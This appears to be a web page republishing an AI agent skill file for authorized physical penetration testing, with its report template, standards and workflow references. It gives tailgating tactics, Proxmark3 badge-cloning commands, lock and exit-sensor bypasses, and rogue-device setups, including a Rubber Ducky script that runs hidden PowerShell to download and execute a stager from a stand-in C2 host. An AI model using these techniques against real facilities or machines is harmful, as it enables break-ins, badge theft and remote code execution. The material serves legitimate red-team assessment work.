What it does. Conduct authorized physical penetration testing against facilities, server rooms, and restricted areas using tailgating, RFID badge cloning, lock bypassing, rogue network device deployment, and security-guard procedure testing. Use as part of a full-scope red team engagement to evaluate physical security controls and their path to network access, always under signed client authorization. Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Upstream	mukul975/Anthropic-Cybersecurity-Skills
Skill file	skills/performing-physical-intrusion-assessment/SKILL.md
License	Apache-2.0 (skill folder LICENSE)
Author	mukul975
Fetched	2026-09-10

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-physical-intrusion-assessment, or copy the skill folder into ~/.claude/skills/performing-physical-intrusion-assessment/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-physical-intrusion-assessment/SKILL.md

SKILL.md (verbatim)

name: performing-physical-intrusion-assessment
description: Conduct authorized physical penetration testing against facilities, server rooms, and restricted areas using tailgating, RFID badge cloning, lock bypassing, rogue network device deployment, and security-guard procedure testing. Use as part of a full-scope red team engagement to evaluate physical security controls and their path to network access, always under signed client authorization.
domain: cybersecurity
subdomain: red-teaming
tags:
- physical-security
- red-team
- tailgating
- badge-cloning
- lock-picking
- rfid
- physical-pentest
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Platform Hardening
- Hardware Component Inventory
- Electromagnetic Radiation Hardening
- RF Shielding
- Asset Inventory
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1027

Performing Physical Intrusion Assessment

Overview

Physical intrusion assessment evaluates an organization's physical security controls by attempting to gain unauthorized access to facilities, server rooms, and restricted areas. This includes tailgating employees, cloning RFID access badges, bypassing locks, deploying rogue network devices, and testing security guard procedures. Physical security testing is a critical component of full-scope red team engagements, as it often provides the most direct path to network access. MITRE ATT&CK maps physical access techniques under T1200 (Hardware Additions) and T1091 (Replication Through Removable Media).

When to Use

• When conducting security assessments that involve performing physical intrusion assessment
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Signed authorization letter (carry at all times during assessment)
• Emergency contact for client security team (24/7)
• Get-out-of-jail letter signed by executive authority
• Physical security testing toolkit
• Body camera or documentation equipment
• Disguise/cover identity materials (uniform, badge, clipboard)

MITRE ATT&CK Mapping

Technique ID	Name	Tactic
T1200	Hardware Additions	Initial Access
T1091	Replication Through Removable Media	Initial Access
T1199	Trusted Relationship	Initial Access
T1078	Valid Accounts	Initial Access

Physical Security Testing Toolkit

Tool	Purpose	Approximate Cost
Proxmark3 RDV4	RFID badge cloning (125kHz/13.56MHz)	$300
Flipper Zero	Multi-protocol RF analysis	$170
Lock pick set (Sparrows)	Mechanical lock bypassing	$35
Under-door tool (UDT)	Bypass door from outside	$30
Shove knife / latch slip	Spring bolt bypass	$15
LAN Turtle	Rogue network implant	$60
WiFi Pineapple	Rogue wireless AP	$100
Rubber Ducky / Bash Bunny	USB keystroke injection	$50-80
Clipboard + hard hat + hi-vis	Social engineering props	$20
Body camera	Evidence documentation	$50

Technique 1: Tailgating

Tailgating involves following an authorized person through a secured entry point without presenting credentials.

Methods:

• Hands full approach: Carry boxes/equipment, ask someone to hold the door
• Smoke break return: Wait near smoking area, follow employees back inside
• Delivery driver: Wear delivery uniform, carry packages
• Busy entrance timing: Enter during shift change or lunch rush
• Door propping: Observe if employees prop doors open

Countermeasures to test:

• Turnstiles / mantraps
• Security guard challenge procedures
• Piggybacking detection systems
• Employee security awareness

Technique 2: Badge Cloning

# Proxmark3 - Read a low-frequency (125kHz) HID card
proxmark3> lf hid read
# Output: HID Prox TAG ID: 2006xxxxxx - FC: 123 CN: 45678

# Clone to a T5577 blank card
proxmark3> lf hid clone --fc 123 --cn 45678

# Read high-frequency (13.56MHz) MIFARE card
proxmark3> hf mf rdbl --blk 0 -k FFFFFFFFFFFF

# Long-range capture with custom antenna (up to 3 feet)
proxmark3> lf hid read  # with extended antenna

# Flipper Zero - Read and emulate
# RFID > Read > Hold card to Flipper > Save > Emulate

Badge cloning attack flow:

1. Position near badge reader (elevator, door entry)
2. Read badge wirelessly as employee passes (1-3 second window)
3. Clone to blank card
4. Use cloned badge to access secured areas
5. Document which areas were accessible

Technique 3: Lock Bypassing

Lock Type	Bypass Method	Difficulty
Pin tumbler (standard)	Pick, rake, or bump key	Easy-Medium
Wafer lock (filing cabinets)	Pick or jiggle	Easy
Tubular lock (vending, server)	Tubular pick tool	Easy
Electronic lock (keypad)	Shoulder surf, thermal camera	Medium
Magnetic lock (mag lock)	Under-door tool, REX sensor bypass	Medium
Smart lock (Bluetooth)	Replay attack, firmware exploit	Hard

# Electronic keypad - thermal imaging after use
# Warmer keys = more recently pressed
# Use FLIR camera to capture heat signatures within 30 seconds

# REX (Request to Exit) sensor bypass
# Insert thin wire or use a can of compressed air to trigger motion sensor
# on the inside of a mag-locked door

Technique 4: Rogue Device Deployment

# LAN Turtle - Plug into exposed Ethernet port
# Provides SSH reverse tunnel back to C2 server
# Auto-configures as man-in-the-middle

# Configure LAN Turtle for reverse SSH
# Module: AutoSSH
# Host: c2.redteam.com
# Port: 22
# Remote port: 2222

# WiFi Pineapple - Deploy in common area
# Captures wireless credentials via evil twin attack
# Exfiltrates data over cellular modem

# USB Rubber Ducky - Drop in parking lot or leave on desk
# Payload: Download and execute C2 agent
# Duckyscript:
# DELAY 1000
# GUI r
# DELAY 500
# STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('https://c2.redteam.com/stager.ps1')"
# ENTER

Technique 5: Dumpster Diving

Search external waste containers and recycling bins for:

• Printed documents with sensitive information
• Employee directories and org charts
• Network diagrams and IP addresses
• Shredded documents (cross-cut vs strip-cut assessment)
• Discarded hardware (hard drives, USB drives)

Assessment Methodology

Pre-Assessment Reconnaissance

1. Perimeter walk - identify all entry points, cameras, guard posts
2. Observe employee patterns - shift changes, break schedules
3. Identify badge technology (HID, MIFARE, iCLASS)
4. Map camera coverage and blind spots
5. Note security guard patrol routes and timing

Execution Phases

1. External perimeter: Fencing, gates, parking barriers
2. Building entry: Main entrance, side doors, loading dock
3. Internal access: Floor access, elevator controls
4. Restricted areas: Server rooms, executive offices, data centers
5. Device deployment: Network implants, rogue wireless

Documentation Requirements

• Timestamp and location for every access attempt
• Photos/video of successful entries
• Badge reader locations that accepted cloned credentials
• Unlocked doors, propped doors, tailgating opportunities
• Network ports accessible in public areas
• Evidence of data in waste containers

Ethical and Safety Considerations

1. Always carry authorization letter - Be prepared to identify yourself immediately if confronted
2. Never force entry - If a technique damages property, document and skip
3. Immediate stop if law enforcement is called before deconfliction
4. Never photograph individuals without authorization
5. Document, don't exploit - Take photos as evidence, don't steal actual data
6. Safety first - Do not enter hazardous areas or bypass fire safety

References

• ISACA Physical Penetration Testing White Paper (2023)
• ASIS Physical Security Professional (PSP) guidelines
• NIST SP 800-116 Rev. 1: Smart Card PIV guidelines
• Deviant Ollam - Physical Security Assessment methodology
• MITRE ATT&CK T1200: https://attack.mitre.org/techniques/T1200/

Other files in this skill

• LICENSE
• assets/template.md
• references/api-reference.md
• references/standards.md
• references/workflows.md
• scripts/agent.py
• scripts/process.py

assets/template.md (verbatim)

Physical Intrusion Assessment Report Template

Assessment Details

Field	Value
Assessment ID	PHYS-YYYY-XXX
Client	[Organization]
Facility	[Address]
Assessment Dates	YYYY-MM-DD to YYYY-MM-DD
Assessor(s)	[Names]
Authorization	[RoE document reference]

Executive Summary

Physical security testing of [Facility] revealed [X] successful unauthorized entries out of [Y] attempts ([Z]% success rate). Critical findings include [summary of top findings].

Facility Map

[Insert annotated facility map showing entry points, camera positions, and successful access paths]

Results Summary

Metric	Result
Total Access Attempts	XX
Successful Entries	XX
Success Rate	XX%
Detection Rate	XX%
Challenge Rate	XX%
Rogue Devices Deployed	XX
Restricted Areas Accessed	XX

Findings

Finding 1: [Title]

Field	Value
Severity	Critical/High/Medium/Low
Location	[Specific location]
Technique	[Method used]
Detected	Yes/No
Evidence	[Photo/video reference]

Description: [What was found] Impact: [Potential business impact] Remediation: [Specific fix]

Recommendations

Immediate

1. [Critical remediation]

Short-Term

1. [High-priority improvement]

Long-Term

1. [Strategic enhancement]

references/api-reference.md (verbatim)

API Reference — Performing Physical Intrusion Assessment

Libraries Used

• csv: Generate and parse assessment checklists
• pathlib: File operations

CLI Interface

python agent.py checklist [--categories perimeter access_control server_room social_engineering] [--output checklist.csv]
python agent.py score --csv completed_assessment.csv
python agent.py report --csv completed_assessment.csv

Core Functions

generate_checklist(categories, output_file) — Create assessment template

22 checks across 4 categories with severity ratings. Outputs to CSV.

score_assessment(results_csv) — Calculate compliance score

Groups by category and severity. Identifies critical failures.

generate_report(results_csv) — Executive summary with risk level

Assessment Categories (22 checks)

Category	Checks	Focus
Perimeter Security	5	Fencing, CCTV, lighting, barriers
Access Control	6	Badge access, tailgating, visitor policy
Server Room	6	MFA, CCTV, environmental, access logs
Social Engineering	5	Visitor challenge, clean desk, shredding

Risk Classification

• CRITICAL: Critical control failures found
• HIGH: >5 failed checks
• MEDIUM: 1-5 failed checks
• LOW: All checks passed

Dependencies

No external packages — Python standard library only.

references/standards.md (verbatim)

Standards and References: Physical Intrusion Assessment

MITRE ATT&CK Techniques

• T1200 - Hardware Additions (rogue device deployment)
• T1091 - Replication Through Removable Media (USB attacks)
• T1199 - Trusted Relationship (tailgating, impersonation)
• T1078 - Valid Accounts (cloned badges)
• T1598 - Phishing for Information (in-person social engineering)

NIST References

• NIST SP 800-53 Rev. 5 - PE-1 through PE-20: Physical and Environmental Protection
• NIST SP 800-53 Rev. 5 - PE-3: Physical Access Control
• NIST SP 800-53 Rev. 5 - PE-6: Monitoring Physical Access
• NIST SP 800-116 Rev. 1 - PIV Card credential management
• NIST SP 800-46 - Remote access security

Industry Standards

• ASIS Physical Security Professional (PSP) guidelines
• ISO 27001:2022 - A.7: Physical controls
• PCI DSS 4.0 - Requirement 9: Restrict physical access to cardholder data
• ISACA Physical Penetration Testing white paper (2023)
• CPTED - Crime Prevention Through Environmental Design

Compliance Mapping

Framework	Control	Description
PCI DSS 4.0	9.1-9.5	Physical access controls
SOC 2	CC6.4	Physical access restrictions
ISO 27001	A.7.1-7.4	Physical security perimeters, controls
HIPAA	164.310	Physical safeguards
NIST CSF	PR.AC-2	Physical access to assets

references/workflows.md (verbatim)

Workflows: Physical Intrusion Assessment

Assessment Workflow

┌─────────────────────────────────────────────────────────────────┐
│           PHYSICAL INTRUSION ASSESSMENT WORKFLOW                  │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  1. RECONNAISSANCE (Day 1-2)                                     │
│     ├── External perimeter survey                                │
│     ├── Entry/exit point mapping                                 │
│     ├── Camera placement analysis                                │
│     ├── Guard patrol timing                                      │
│     ├── Employee behavior observation                            │
│     ├── Badge technology identification                          │
│     └── Loading dock / service entrance survey                   │
│                                                                  │
│  2. BADGE CAPTURE (Day 2-3)                                      │
│     ├── Position near badge readers / elevators                  │
│     ├── Capture RFID data from passing employees                 │
│     ├── Clone to blank cards                                     │
│     └── Test cloned badges on external readers first             │
│                                                                  │
│  3. INTRUSION ATTEMPTS (Day 3-5)                                 │
│     ├── Tailgating through main entrance                         │
│     ├── Badge cloning at restricted doors                        │
│     ├── Lock bypass on server room / network closet              │
│     ├── Social engineering at reception                          │
│     ├── Loading dock / service entrance access                   │
│     └── After-hours access attempts                              │
│                                                                  │
│  4. INTERNAL OBJECTIVES (Day 4-5)                                │
│     ├── Access server room / data center                         │
│     ├── Deploy rogue network device                              │
│     ├── Access unlocked workstations                             │
│     ├── Plug in USB device to exposed port                       │
│     ├── Photograph sensitive documents on desks                  │
│     └── Test dumpster diving                                     │
│                                                                  │
│  5. REPORTING (Day 6-7)                                          │
│     ├── Document all access attempts with evidence               │
│     ├── Map successful paths on facility diagram                 │
│     ├── Provide remediation for each finding                     │
│     └── Present findings to security team                        │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Entry Point Decision Tree

Select Entry Point
│
├── Main Entrance
│   ├── Tailgate during shift change
│   ├── Social engineer past reception
│   └── Use cloned badge at turnstile
│
├── Side/Emergency Doors
│   ├── Check for propped doors
│   ├── Use under-door tool on push-bar
│   └── Badge clone if reader present
│
├── Loading Dock
│   ├── Impersonate delivery driver
│   ├── Follow truck into dock area
│   └── Access internal doors from dock
│
├── Parking Garage
│   ├── Tailgate vehicle through gate
│   ├── Access stairwells to building
│   └── Check for unlocked access doors
│
└── Smoking Area
    ├── Wait for employees on break
    ├── Build rapport during conversation
    └── Follow group back inside

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.